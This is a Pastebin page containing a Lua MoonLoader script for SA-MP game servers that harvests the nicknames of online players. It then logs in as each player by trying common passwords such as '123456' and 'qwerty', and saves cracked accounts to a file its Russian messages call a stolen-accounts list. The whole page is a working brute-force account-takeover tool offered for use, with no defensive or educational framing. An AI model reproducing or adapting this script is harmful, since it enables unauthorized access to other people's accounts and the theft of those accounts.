Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local events = require 'lib.samp.events'
- local enabled = false
- local nicks = {}
- for line in io.lines('moonloader/a-account-list.txt') do
- table.insert(nicks, line)
- end
- local words = {
- 'qwerty', '123456', '123123', 'asdfgh', 'zxcvbn'
- }
- local stolen = {}
- local index = 0
- function relog(nick)
- sampSetLocalPlayerName(nick)
- sampConnectToServer(sampGetCurrentServerAddress())
- end
- function trypass(password)
- lua_thread.create(function ()
- wait(1)
- sampSetCurrentDialogEditboxText(password)
- sampCloseCurrentDialogWithButton(1)
- end)
- end
- function success(nick, password, banned)
- table.insert(stolen, {nick, password, banned})
- local output = ''
- for i = 1, #stolen do
- output = output .. '\n' .. stolen[i][1] .. ' ' .. stolen[i][2] .. (stolen[i][3] and ' [BAN]' or '')
- end
- local list = io.open('moonloader/a-stolen-accounts.txt', 'w')
- list:write(output)
- list:close()
- end
- function sampIsPlayerOnline(nickname)
- for i = 0, 999 do
- if sampIsPlayerConnected(i) and sampGetPlayerNickname(i) == nickname then
- return true
- end
- end
- return false
- end
- local lastTimeCalled = os.clock()
- function brute()
- lastTimeCalled = os.clock()
- index = index + 1
- sampAddChatMessage('Аккаунт ' .. index .. ' из ' .. #nicks .. ', всего украдено: ' .. #stolen, -1)
- local hook = require 'lib.samp.events'
- if not nicks[index] then enabled = false; return end
- if sampIsPlayerOnline(nicks[index]) then return brute() end -- аккаунт находится на сервере
- relog(nicks[index])
- local tries = 0
- function hook.onShowDialog(a, b, c, d, e, text)
- if not enabled then return end
- if text:find('Ваш ник свободен') then return brute() end -- аккаунт не существует
- if text:find('Дата выдачи блокировки') then -- аккаунт забанен, но удалось войти
- success(nicks[index], words[tries], true)
- return brute()
- end
- if text:find('отличается от того адреса') then return brute() end -- стоит аутентификатор
- if text:find('Вы ввели неправильный пароль') then return trypass('') end
- if text:find('Если это ваш аккаунт') then
- tries = tries + 1
- if tries < #words + 1 then trypass(words[tries]) else brute() end
- end
- end
- function hook.onShowTextDraw(id, data)
- if not enabled then return end
- if data.text:find('enter your password') then return brute() end -- стоит доп. пароль
- end
- function hook.onServerMessage(c, m)
- if not enabled then return end
- if m:find('успешно вошли в свой аккаунт') then
- success(nicks[index], words[tries])
- brute()
- end
- end
- end
- function main()
- while not isSampAvailable() do wait(0) end
- sampRegisterChatCommand('brute', function () enabled = true; brute() end)
- sampRegisterChatCommand('stopbrute', function () enabled = false end)
- sampRegisterChatCommand('stolen', function ()
- sampAddChatMessage('Список украденных аккаунтов:', -1)
- if #stolen == 0 then return sampAddChatMessage('Список пуст.', -1) end
- for i = 1, #stolen do
- sampAddChatMessage(stolen[i][1] .. ' ' .. stolen[i][2] .. (stolen[i][3] and ' [BAN]' or ''), -1)
- end
- end)
- sampRegisterChatCommand('scan', function ()
- local base = ''
- local count = 0
- for i = 0, 999 do
- if sampIsPlayerConnected(i) and not sampIsPlayerNpc(i) then
- local name = sampGetPlayerNickname(i)
- if not name:find('newplayer') then
- base = base .. '\n' .. sampGetPlayerNickname(i)
- count = count + 1
- end
- end
- end
- sampAddChatMessage('Сканирование успешно завершено. Всего добавлено ' .. count .. ' аккаунтов.', -1)
- local list = io.open('moonloader/a-account-list.txt', 'w')
- list:write(base:sub(2))
- list:close()
- end)
- while true do
- wait(1000)
- if enabled and os.clock() - lastTimeCalled > 60 then -- если что-то пошло не так, перезапускаем функцию
- brute()
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement